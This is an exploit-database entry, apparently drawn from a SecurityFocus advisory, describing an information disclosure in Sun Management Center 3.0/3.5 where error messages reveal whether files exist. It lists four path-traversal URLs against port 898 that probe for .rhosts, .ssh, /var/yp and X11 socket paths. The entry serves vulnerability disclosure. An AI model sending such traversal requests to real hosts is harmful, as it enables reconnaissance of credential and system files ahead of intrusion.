Sun Management Center 3.0/3.5 - Error Message Information Disclosure

Author: Jon Hart
type: remote
platform: solaris
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date_added: 2003-10-22 
date_updated: 2012-12-09 
verified: 1 
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source: https://www.securityfocus.com/bid/8873/info

A problem in the handling of error messages has been identified in Sun Management Center. Because of this, an attacker may be able to gain sensitive information about vulnerable hosts.

http://www.example.com:898/../../../../../tmp/.X11-unix
http://www.example.com:898/../../../../../.rhosts
http://www.example.com:898/../../../../../.ssh
http://www.example.com:898/../../../../../var/yp

These examples were return different error messages based on whether the requested resource exists or not.